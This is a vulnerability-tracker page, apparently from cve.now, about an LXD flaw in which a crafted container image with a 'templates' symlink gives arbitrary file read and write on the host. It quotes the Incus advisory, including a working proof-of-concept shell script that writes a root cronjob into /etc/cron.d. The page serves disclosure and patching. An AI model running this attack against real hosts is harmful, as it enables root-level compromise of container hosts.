Skip to main content
← Vulnerabilities

LXD has arbitrary file read+write on host via templates/ symlink in malicious image

Exploited
No known exploitation
Fix
Fixed in 0.0.0-20260203144152-d1c8ba15d160
Who is exposed
Not reported

Do first: Upgrade to a fixed version: 0.0.0-20260203144152-d1c8ba15d160.

Published
Last modified
19/100 · provisional
Critical (ghsa)
None on Exploit-DB, Metasploit or GitHub

Summary

LXD has a flaw that lets an attacker read and write arbitrary files on the host by supplying a specially crafted container image that contains a symlink named "templates." This could possibly lead to command execution on the host.

Written by anthropic/claude-haiku-5.5 from the sources below. Verify against them.

Read the original description

Reported from https://github.com/lxc/incus/security/advisories/GHSA-vxp5-584q-c479

Summary

A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.

Details

For container images, internal/server/storage/utils.go calls archive.Unpack(imageFile, destPath, ...). The tar extraction path in shared/archive/archive.go excludes device nodes, but it does not reject a top-level templates symlink.

In practice, this allows a malicious actor to access an arbitrary directory and edit arbitrary files in it.

PoC

Below, we map the templates directory to /etc/cron.d on the host, but it can be mapped anywhere. We then create a cronjob to run id as root.

#!/bin/sh
set -eu

tmpdir=$(mktemp -d)
cleanup() {
    rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP

mkdir -p "${tmpdir}/img/rootfs"
ln -s /etc/cron.d "${tmpdir}/img/templates"
cat<<__EOF__>"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
  description: PoC templates symlink host afrw
__EOF__

cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-image-templates-symlink.tar
incus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink
incus init afrw-image-templates-symlink afrw-image-templates-symlink

incus config template ls afrw-image-templates-symlink

# read
#incus config template show afrw-image-templates-symlink $FILENAME

# write
printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-image-templates-symlink poc-32
#incus config template edit afrw-image-templates-symlink poc

Impact

Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.

cve.now Index

19Pcve.now Index 19 of 100 · methodology v3 · provisional
  • Exploitation?/40Unknown. No CISA SSVC exploitation rating yet
  • Exposure?/25Unknown. No advisory context yet
  • Reach10/20Affects Go packages
  • Severity9/10Rated critical by ghsa
  • No patch0/5No signal

What would change the score

  • Would score about 74 if added to CISA KEV
  • Would score about 69 if CISA's SSVC rates exploitation active
  • Would score about 41 if advisories confirm default setups are exposed

What to do

  • Upgrade to a fixed version: 0.0.0-20260203144152-d1c8ba15d160.

Timeline

  1. Advisory published
  2. Record last updated
  3. First seen by cve.now

Affected versions

  • github.com/canonical/lxdGo

    fixed in 0.0.0-20260203144152-d1c8ba15d160

Evidence 13

  1. Advisory
  2. Advisory
  3. Advisory
  4. Repository
  5. Repository
Show all 13 sourcesShow fewer sources
  1. Repository
  2. Repository
  3. Repository
  4. Repository
  5. Repository
  6. Repository
  7. Repository
  8. Repository

Corrections

None so far.

Something wrong on this page? Report an error. Every fix is listed here.

Questions about GHSA-JPF8-86F3-WP38

Is GHSA-JPF8-86F3-WP38 being exploited?

It is not in CISA's Known Exploited Vulnerabilities catalog, and CISA's SSVC assessment does not mark exploitation as active. That does not mean it has not been attacked: vendors and researchers can report attacks before CISA lists them. No public exploit code is tracked.Source: cve.now feed data

Which versions are affected by GHSA-JPF8-86F3-WP38?

github.com/canonical/lxd (Go): before 0.0.0-20260203144152-d1c8ba15d160.Source: cve.now feed data

How do I fix GHSA-JPF8-86F3-WP38?

Upgrade to a fixed version: 0.0.0-20260203144152-d1c8ba15d160.Source: cve.now feed data